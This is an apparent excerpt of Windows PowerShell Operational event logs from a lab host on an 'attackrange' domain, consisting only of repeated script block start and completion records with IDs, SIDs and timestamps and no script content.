ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026384
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026383
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026382
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026381
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026380
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026379
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026378
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026377
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026376
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026375
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026374
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026373
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026372
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026371
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026370
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026369
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026368
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026367
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026366
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026365
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026364
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026363
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026362
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026361
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026360
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026359
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026358
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026357
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026356
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026355
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026354
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026353
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026352
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026351
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026350
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026349
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026346
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026345
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026340
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026339
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026336
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026335
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2026332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2026331
Keywords=None
